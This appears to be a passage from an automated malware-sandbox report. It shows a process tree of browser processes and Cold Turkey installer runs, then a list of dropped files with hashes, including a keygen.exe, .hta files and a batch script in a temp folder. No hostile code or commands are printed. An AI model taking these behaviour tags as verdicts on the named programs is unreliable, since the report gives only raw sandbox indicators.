                                                                                                              PID:4600
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4536.3.960493151\236008864" -childID 2 -isForBrowser -prefsHandle 2720 -prefMapHandle 2716 -prefsLen 26235 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a8586b18-21e3-44a7-8fb1-65b75e88469b} 4536 "\\.\pipe\gecko-crash-server-pipe.4536" 2732 d61958 tab
                                                                                                              6⤵
                                                                                                                PID:9068
                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4536.4.204398099\1403338324" -childID 3 -isForBrowser -prefsHandle 3388 -prefMapHandle 3400 -prefsLen 26235 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {86b6a0b6-a0e8-4247-a9ba-7181b86c4b4c} 4536 "\\.\pipe\gecko-crash-server-pipe.4536" 3376 16ce0258 tab
                                                                                                                6⤵
                                                                                                                  PID:900
                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4536.5.1597214759\524156886" -childID 4 -isForBrowser -prefsHandle 3528 -prefMapHandle 3532 -prefsLen 26235 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0d531483-82a5-48f6-ad50-409bbbe7e0f5} 4536 "\\.\pipe\gecko-crash-server-pipe.4536" 3516 1eabf358 tab
                                                                                                                  6⤵
                                                                                                                    PID:5228
                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4536.6.563565405\1781287068" -childID 5 -isForBrowser -prefsHandle 3676 -prefMapHandle 3680 -prefsLen 26235 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e354dde9-8d81-4838-b5d8-78ccbb93c7fb} 4536 "\\.\pipe\gecko-crash-server-pipe.4536" 3664 1eac0558 tab
                                                                                                                    6⤵
                                                                                                                      PID:4512
                                                                                                          • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                                                                            1⤵
                                                                                                              PID:4976
                                                                                                            • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                                                                              1⤵
                                                                                                                PID:6564
                                                                                                              • C:\Windows\system32\taskeng.exe
                                                                                                                taskeng.exe {062CDB19-AD1D-4D4D-9C23-369D59AC7447} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                                1⤵
                                                                                                                  PID:7696
                                                                                                                  • C:\Program Files\Cold Turkey\CTServiceInstaller.exe
                                                                                                                    "C:\Program Files\Cold Turkey\CTServiceInstaller.exe"
                                                                                                                    2⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:4420
                                                                                                                  • C:\Program Files\Cold Turkey\CTServiceInstaller.exe
                                                                                                                    "C:\Program Files\Cold Turkey\CTServiceInstaller.exe"
                                                                                                                    2⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:4528
                                                                                                                  • C:\Program Files\Cold Turkey\CTServiceInstaller.exe
                                                                                                                    "C:\Program Files\Cold Turkey\CTServiceInstaller.exe"
                                                                                                                    2⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:8556
                                                                                                                • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                                                                                  1⤵
                                                                                                                    PID:4300

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        CTHostInstaller.exe
                                                                                                                        • Path C:\Program Files\Cold Turkey\CTHostInstaller.exe
                                                                                                                        • Size 33KB
                                                                                                                        • SHA256 c763c27de151de14210b378e91fef33db21437c01554781702cbafee55dbb537
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        CTMsgHostChrome.exe
                                                                                                                        • Path C:\Program Files\Cold Turkey\CTMsgHostChrome.exe
                                                                                                                        • Size 21KB
                                                                                                                        • SHA256 ab392cceb72a1f0e6dfc707810a2dfba50d517863842bcade3f08e8baf62e53c
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        CTMsgHostChrome.json
                                                                                                                        • Path C:\Program Files\Cold Turkey\CTMsgHostChrome.json
                                                                                                                        • Size 280B
                                                                                                                        • SHA256 c304ef695bb3a6220ed56e6fd3b0539ced6ee20a90ad9d1237876b46f71d1a16
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        CTMsgHostFirefox.exe
                                                                                                                        • Path C:\Program Files\Cold Turkey\CTMsgHostFirefox.exe
                                                                                                                        • Size 21KB
                                                                                                                        • SHA256 2dd9b2661a2b0769805ebef01e3c45d42ea860cc828ed73ab7779c97f07548c1
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        CTMsgHostFirefox.json
                                                                                                                        • Path C:\Program Files\Cold Turkey\CTMsgHostFirefox.json
                                                                                                                        • Size 205B
                                                                                                                        • SHA256 db65ef15747f119e6645381f3ef1e7f9c2f7f48b227d5b079c5ee10d64de79c6
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        EO.Base.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\EO.Base.dll
                                                                                                                        • Size 3.6MB
                                                                                                                        • SHA256 a28b958b04c0a444d2f0d1ed1935c837353aaf5857eabb9e88369a356ba7e9bc
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        EO.WebBrowser.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\EO.WebBrowser.dll
                                                                                                                        • Size 447KB
                                                                                                                        • SHA256 491f27727d061da06bf523249b0dbeff05744e264bca247f08ca1e4df920d278
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        EO.WebEngine.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\EO.WebEngine.dll
                                                                                                                        • Size 49.2MB
                                                                                                                        • SHA256 ce8794c5cc7634224f0e32e6f12716a4017426771d17ad4bbc9941ca5789b3e2
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        Microsoft.Win32.TaskScheduler.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\Microsoft.Win32.TaskScheduler.dll
                                                                                                                        • Size 278KB
                                                                                                                        • SHA256 46b6a4d2acf1d1a6d924dbb30915f438e7ce046849e1b77842e7239819f31941
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        Newtonsoft.Json.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\Newtonsoft.Json.dll
                                                                                                                        • Size 637KB
                                                                                                                        • SHA256 6cc0cbcd5c4709c6a1c97f5581c347d93e586e7cc0d64bffb4d32c6e753476a4
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        ProcessExtensions.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\ProcessExtensions.dll
                                                                                                                        • Size 8KB
                                                                                                                        • SHA256 22c8bc091580abe57a0e556b82852ef3c6504a11bf2380ee2cff9a70c05f51ff
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        ServiceHub.Power.exe
                                                                                                                        • Path C:\Program Files\Cold Turkey\ServiceHub.Power.exe
                                                                                                                        • Size 56KB
                                                                                                                        • SHA256 31d49802155d2aaf955c4fff2c41927a0e2e3ebbc329a9ece53b9241c6020b25
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        ServiceTools.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\ServiceTools.dll
                                                                                                                        • Size 8KB
                                                                                                                        • SHA256 cdeeffa810b45671567a57423a23be294c200f2ac848a0ee9928183fd4c5f46d
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        System.Data.SQLite.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\System.Data.SQLite.dll
                                                                                                                        • Size 337KB
                                                                                                                        • SHA256 dafa4a7e1186e5fe8223317f654795b9142d72917006edad03ee3d1de5162bc6
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        is-N9B8I.tmp
                                                                                                                        • Path C:\Program Files\Cold Turkey\web\assets\admin\layout2\img\is-N9B8I.tmp
                                                                                                                        • Size 135B
                                                                                                                        • SHA256 0b9cdeafc4fcda17d886d51a97cc39f5feb21591e5c337f46cfb439a1cb2f7e1
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        SQLite.Interop.dll
                                                                                                                        • Path C:\Program Files\Cold Turkey\x64\SQLite.Interop.dll
                                                                                                                        • Size 1.5MB
                                                                                                                        • SHA256 6469a24ce59de8170c35ee5e1dd33f8ccfd651bc51896b5bc322f9ab02610608
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        data-service.db
                                                                                                                        • Path C:\ProgramData\Cold Turkey\data-service.db
                                                                                                                        • Size 20KB
                                                                                                                        • SHA256 088958ed95ddcb432fa2e976a5645e58aa4c97cd1a2e9987fbfbd385d62e965b
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        3c9261ab-f17a-446e-8f9c-2a616bb8d0b9.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\3c9261ab-f17a-446e-8f9c-2a616bb8d0b9.tmp
                                                                                                                        • Size 2B
                                                                                                                        • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        48df2643-1145-4d1f-b442-881fd2056607.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\48df2643-1145-4d1f-b442-881fd2056607.tmp
                                                                                                                        • Size 140KB
                                                                                                                        • SHA256 ee604f238974bfe80628aa147b1412b64cb5c52b4b7562a4a55e03251e636ccc
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        88fbb6fd-30e5-412d-ac86-95d49b544117.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\88fbb6fd-30e5-412d-ac86-95d49b544117.tmp
                                                                                                                        • Size 140KB
                                                                                                                        • SHA256 5a4439ec8d25ce6981dcff8e6eaecd35505d15ebe5965ec68f23d9c2ad09d300
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        settings.dat
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                        • Size 40B
                                                                                                                        • SHA256 236861e6339353e02901dcf56d40d9b09ea1070f1363b4a76f2c9fde294028dd
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        7560d11b-d5bb-4120-bd7f-fc8df989db67.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\7560d11b-d5bb-4120-bd7f-fc8df989db67.tmp
                                                                                                                        • Size 1B
                                                                                                                        • SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        000009.dbtmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\000009.dbtmp
                                                                                                                        • Size 16B
                                                                                                                        • SHA256 b3524365a633ee6d1fa9953638d2867946c515218c497a5ec2dbef7dc44a7c53
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        000011.dbtmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\000011.dbtmp
                                                                                                                        • Size 16B
                                                                                                                        • SHA256 a197cc479c3bc03ef7b8d2b228f02a9bfc8c7cc6343719c5e26bebc0ca4ecf06
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        000006.dbtmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000006.dbtmp
                                                                                                                        • Size 16B
                                                                                                                        • SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        000008.dbtmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000008.dbtmp
                                                                                                                        • Size 16B
                                                                                                                        • SHA256 26d067dbb5e448b16f93a1bb22a2541beb7134b1b3e39903346d10b96022b6b8
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        data_1
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1
                                                                                                                        • Size 264KB
                                                                                                                        • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        Preferences
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                        • Size 6KB
                                                                                                                        • SHA256 70c06165afc144014b2da5f35db3c81d368ee868d00141debe1123064cfb173d
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        Preferences
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                        • Size 6KB
                                                                                                                        • SHA256 397026eb01157744bda593b0fee73ea52d03e4c1adeb837854cfed955ca89a0f
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        000007.dbtmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp
                                                                                                                        • Size 16B
                                                                                                                        • SHA256 8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        000013.dbtmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000013.dbtmp
                                                                                                                        • Size 16B
                                                                                                                        • SHA256 e6325e36f681074fccd2b1371dbf6f4535a6630e5b95c9ddff92c48ec11ce312
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        000010.dbtmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000010.dbtmp
                                                                                                                        • Size 16B
                                                                                                                        • SHA256 e91d13722e31f9b06c5df3582cad1ea5b73547ce3dc08b12ed461f095aad48ee
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        Local State
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                        • Size 140KB
                                                                                                                        • SHA256 eec1361042c1ff712af30fec5dacbf71927a8e8542d1a87c09613ad94756ed89
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        Local State
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                        • Size 140KB
                                                                                                                        • SHA256 6ef958243effc64f3362b5a6dd4c30d3df51233fc4c2048744eb23de7557cdca
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        f56a3b20-ac48-4e7c-8aef-9003c3391fa3.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\f56a3b20-ac48-4e7c-8aef-9003c3391fa3.tmp
                                                                                                                        • Size 266KB
                                                                                                                        • SHA256 7474eab24fe09dfe1909a730be6df3fc6a877856a0ec68f0359d8e950b1ffe36
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        90F1013BAC548589406F69D63CF71E15C6755592
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\cache2\entries\90F1013BAC548589406F69D63CF71E15C6755592
                                                                                                                        • Size 30KB
                                                                                                                        • SHA256 50b29a93a5f895a61cf31b0a1036d196004ffc3cc267e0e40c1b8f5088befaed
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        D9F1B4948901BA673F57D6AF6CF5AB723A116198
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\cache2\entries\D9F1B4948901BA673F57D6AF6CF5AB723A116198
                                                                                                                        • Size 59KB
                                                                                                                        • SHA256 3456d2650feb7fdb9b8f1e11586428af05a3eb50a6c2ed66f12b915fac4309d1
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        b1.hta
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\116E.tmp\b1.hta
                                                                                                                        • Size 11KB
                                                                                                                        • SHA256 9439c1e812b86678969732dd29d9a5c0d271db87005df6b36b79aab7556610e2
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        b1a.hta
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\116E.tmp\b1a.hta
                                                                                                                        • Size 11KB
                                                                                                                        • SHA256 152d6a623e294608e0fcfb331f0fd4e5eabd8d4b70673004d4ac33156add121c
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        b2.hta
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\116E.tmp\b2.hta
                                                                                                                        • Size 11KB
                                                                                                                        • SHA256 a4965af6feb2c0f3d8c7f81808b77b10bfbb396bcc63fc430f8606b8cf14f24f
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        b2a.hta
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\116E.tmp\b2a.hta
                                                                                                                        • Size 11KB
                                                                                                                        • SHA256 a9de29fa03e6b7a0d307e495a30bcc181064e67ba4c62b00eecbddcf11034002
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        keygen.exe
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\116E.tmp\keygen.exe
                                                                                                                        • Size 7.0MB
                                                                                                                        • SHA256 d731e223960788a83e35f9e9c3d714ef29a4d447c4fd079cd4ac87c32b269c89
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        m1.hta
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\116E.tmp\m1.hta
                                                                                                                        • Size 11KB
                                                                                                                        • SHA256 48382eae4aa1e069d09c4a5d25d22e9027b16b65a48911bfc0c8f1f23b1de4a2
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        m1a.hta
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\116E.tmp\m1a.hta
                                                                                                                        • Size 11KB
                                                                                                                        • SHA256 83c6b29a8be68fa9c0cc88fec453da1c23a456bf330b2cfdff1968da576ec727
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        start2.bat
                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\116E.tmp\start2.bat
                                                                                                                        • Size 180B
                                                                                                                        • SHA256 61391116057e910b10a0d90abfe1c887b0ebebf0b9fd361534591246016bac2f
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        590aee7bdd69b59b.customDestinations-ms
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                                                                                                        • Size 7KB
                                                                                                                        • SHA256 a2cd169308f86baebd859ccdf29ec3522f4b3cf8141bdf28e95dd16f4899a77b
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        d93f411851d7c929.customDestinations-ms
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
                                                                                                                        • Size 7KB
                                                                                                                        • SHA256 1290e57d9a0be4fc9ab4932fd4ef175cf89fa1d977f61eaa46d02e85ed642d86
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        data.safe.bin
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\db\data.safe.bin
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 ef74ffbd092befe409f86acc671ab6e213896d52bd5d71f93b6c2eda7e36f743
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        data.safe.bin
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\db\data.safe.bin
                                                                                                                        • Size 3KB
                                                                                                                        • SHA256 e7c34ee9d763e683f01a329792103ae77ad3fc92f4bd4fe8084097fd3521854e
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        data.safe.bin
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\db\data.safe.bin
                                                                                                                        • Size 4KB
                                                                                                                        • SHA256 e8cabf87d959c36b484057fcc2a16677fe4e7430b9730db8157ebdcba9547520
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        data.safe.bin
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\db\data.safe.bin
                                                                                                                        • Size 4KB
                                                                                                                        • SHA256 5df4bebb145b2c3d94b1e00cc18db080ce808a296d486cac632f06fa3f7acc1f
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        data.safe.bin
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\db\data.safe.bin
                                                                                                                        • Size 5KB
                                                                                                                        • SHA256 278e7edfbef80b8e6d29e8caff26e119ddba47034e7b78482a95d7ed6d9f8dee
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        4db9c165-7fe6-49c9-901f-851fc52284fb
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\pending_pings\4db9c165-7fe6-49c9-901f-851fc52284fb
                                                                                                                        • Size 778B
                                                                                                                        • SHA256 3e4b4b628521ad5a8bd43f6878a265532a2763ae5923f9c94aceb563a6383392
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        5c64fe21-95d5-44ed-bede-baddb8bb42a3
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\pending_pings\5c64fe21-95d5-44ed-bede-baddb8bb42a3
                                                                                                                        • Size 712B
                                                                                                                        • SHA256 c7e84b7fd0cfa695ebb1374459d718fd778604515faa18045fa8d3635b66ec42
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        8a9b6911-1a13-41d4-a640-ef7bd3c2a01f
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\pending_pings\8a9b6911-1a13-41d4-a640-ef7bd3c2a01f
                                                                                                                        • Size 11KB
                                                                                                                        • SHA256 880c2b6e0d9668d6a93cdb22a7ef329359012c599df7eaad8345342babd67f02
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        99abdea3-dad4-4259-8ccf-b6f00b2c12eb
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\pending_pings\99abdea3-dad4-4259-8ccf-b6f00b2c12eb
                                                                                                                        • Size 765B
                                                                                                                        • SHA256 b0e84aec2b5fff7187d938c06c4c261d81a76d3107912126c98a5649f68be81a
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        e2900c5c-fbd9-4adb-a37e-c80225f2b5bd
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\datareporting\glean\pending_pings\e2900c5c-fbd9-4adb-a37e-c80225f2b5bd
                                                                                                                        • Size 745B
                                                                                                                        • SHA256 b79afff019e05279755f3a9b5c1e66594df81c0a476cef84e9c386bb25a541c8
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        prefs-1.js
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\prefs-1.js
                                                                                                                        • Size 6KB
                                                                                                                        • SHA256 18bae44e64e27104f121e120f89fdd9af47bc1a9d4230cc045f80a6a65331892
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        prefs-1.js
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\prefs-1.js
                                                                                                                        • Size 6KB
                                                                                                                        • SHA256 bfa9725765929fac19a8c114aba7f680a6baf3b1db75ea1dbd746ceb4ce0137a
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        prefs-1.js
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\prefs-1.js
                                                                                                                        • Size 6KB
                                                                                                                        • SHA256 e8b618f520d492e5499dc704f9c9732565cfdf22a49b46f37212bb7a91e2a392
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        sessionCheckpoints.json.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionCheckpoints.json.tmp
                                                                                                                        • Size 193B
                                                                                                                        • SHA256 ecb4133a183cb6c533a1c4ded26b663e2232af77db1a379f9bd68840127c7933
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        sessionCheckpoints.json.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionCheckpoints.json.tmp
                                                                                                                        • Size 259B
                                                                                                                        • SHA256 50a670fb78ff2712aae2c16d9499e01c15fddf24e229330d02a69b0527a38092
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        sessionCheckpoints.json.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionCheckpoints.json.tmp
                                                                                                                        • Size 288B
                                                                                                                        • SHA256 2fca1f29b73dd5b4159fa1eb16e69276482f5224ba7d2219a547039129a51f0e
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        sessionCheckpoints.json.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionCheckpoints.json.tmp
                                                                                                                        • Size 90B
                                                                                                                        • SHA256 00ad9799527c3fd21f3a85012565eae817490f3e0d417413bf9567bb5909f6a2
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        sessionCheckpoints.json.tmp
